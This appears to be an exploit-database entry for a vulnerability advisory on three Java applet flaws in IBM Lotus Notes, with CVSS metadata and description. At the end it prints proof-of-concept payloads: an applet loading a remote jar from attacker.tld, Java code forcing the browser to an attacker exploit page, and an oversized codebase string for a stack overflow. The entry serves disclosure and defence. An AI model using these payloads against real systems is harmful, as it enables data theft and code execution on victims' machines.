IBM Lotus Notes Java Applet Vulnerabilities

vendor:

IBM Lotus Notes

by:

Unknown

7.5

CVSS

HIGH

Java applet vulnerabilities

Unknown

CWE

Product Name: IBM Lotus Notes

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE: Unknown

CPE: a:ibm:lotus_notes

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

IBM Lotus Notes Java Applet Vulnerabilities

The vulnerabilities in IBM Lotus Notes allow an attacker to disclose sensitive information, open arbitrary web pages in a web browser, and execute arbitrary code through a stack-based buffer overflow.

Mitigation:

No mitigation or remediation information provided.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10704/info

IBM Lotus Notes is affected by three vulnerabilities concerning Java applets.

An attacker can exploit these issues to disclose potentially sensitive information, cause a web browser to open an arbitrary web page, and cause a stack-based buffer overflow that may be exploited to execute arbitrary code.

IBM has confirmed these vulnerabilities and has stated that they are currently under investigation. IBM problem reports for these vulnerabilities are KSPR5YS6GR, KSPR62F4D3, and KSPR62F4KN. 

<applet codebase="file:///" archive="http://www.attacker.tld/applet.jar" width="1" height="1"></applet>

Arbitrary browser opening:
public void init() {
getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html");
}

Stack-based buffer overflow:
<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet>